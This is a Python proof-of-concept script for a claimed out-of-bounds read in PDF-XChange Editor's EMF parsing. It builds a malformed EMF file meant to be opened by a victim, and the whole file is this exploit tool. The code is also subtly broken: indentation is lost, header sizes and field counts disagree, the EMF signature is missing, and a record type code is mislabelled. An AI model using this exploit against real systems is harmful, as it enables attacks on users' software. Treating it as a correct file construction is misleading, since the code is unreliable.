#!/usr/bin/env python3
# CVE-2025-58113 PoC - Malformed EMF File Generator
# This PoC generates a specially crafted EMF file to trigger an out-of-bounds read
# in PDF-XChange Editor 10.7.3.401
import struct
import sys
def create_poc_emf():
"""Generate a malformed EMF file to trigger CVE-2025-58113"""
# EMF Header
emf_header = bytearray()
# Record type: EMR_EOF (0x0000000E)
record_type = 0x0000000E
# Record size (malformed - set to trigger out-of-bounds read)
record_size = 0xFFFFFFFF # Malformed size
# Offset to previous record
prev_offset = 0x00000000
# Number of records
num_records = 1
# EMF Header structure
emf_header += struct.pack('<I', 0x00000001) # Type: EMR_HEADER
emf_header += struct.pack('<I', 88) # Size of header record
emf_header += struct.pack('<I', 0x00010000) # Version
emf_header += struct.pack('<I', 0x00000000) # Bytes
emf_header += struct.pack('<I', 0x00000000) # Records
emf_header += struct.pack('<I', 0x00000001) # Handles
emf_header += struct.pack('<I', 0x00000000) # Reserved
emf_header += struct.pack('<I', 0x00000000) # Description
emf_header += struct.pack('<I', 0x00000000) # Description (cont)
emf_header += struct.pack('<I', 0x00000000) # PalEntries
emf_header += struct.pack('<I', 0x00000000) # OffExt
emf_header += struct.pack('<I', 0x00000000) # Ext
emf_header += struct.pack('<I', 0x00000000) # Size
emf_header += struct.pack('<I', 0x00000000) # Size (cont)
emf_header += struct.pack('<I', 0x00000000) # ColorSpace
emf_header += struct.pack('<I', 0x00000000) # ColorSpace (cont)
emf_header += struct.pack('<I', 0x00000000) # Intent
emf_header += struct.pack('<I', 0x00000000) # Intent (cont)
emf_header += struct.pack('<I', 0x00000000) # PixelFormat
emf_header += struct.pack('<I', 0x00000000) # PixelFormat (cont)
emf_header += struct.pack('<I', 0x00000000) # OpenGL
emf_header += struct.pack('<I', 0x00000000) # MetdcSize
emf_header += struct.pack('<I', 0x00000000) # MetdcSize (cont)
emf_header += struct.pack('<I', 0x00000000) # Hdc
# Malformed EMF record with out-of-bounds trigger
# This record has invalid size/offset values to trigger the vulnerability
malicious_record = bytearray()
malicious_record += struct.pack('<I', 0x0000004E) # EMR_POLYDRAW16 type
malicious_record += struct.pack('<I', 0x00000001) # Malformed size
malicious_record += struct.pack('<I', 0x7FFFFFFF) # Invalid offset (triggers OOB read)
malicious_record += b'\x00' * 100 # Padding to increase impact
# EOF record
eof_record = bytearray()
eof_record += struct.pack('<I', 0x0000000E) # Type: EMR_EOF
eof_record += struct.pack('<I', 8) # Size
eof_record += struct.pack('<I', 0) # No palette
# Combine all parts
emf_data = emf_header + malicious_record + eof_record
return bytes(emf_data)
def main():
output_file = 'CVE-2025-58113_poc.emf'
print(f'[*] Generating PoC EMF file for CVE-2025-58113')
print(f'[*] Target: PDF-XChange Editor 10.7.3.401')
print(f'[*] Vulnerability: Out-of-bounds read in EMF parsing')
emf_data = create_poc_emf()
with open(output_file, 'wb') as f:
f.write(emf_data)
print(f'[+] PoC file created: {output_file}')
print(f'[+] File size: {len(emf_data)} bytes')
print('[!] Note: This PoC triggers an out-of-bounds read condition')
print('[!] User interaction required to open the malicious EMF file')
if __name__ == '__main__':
main()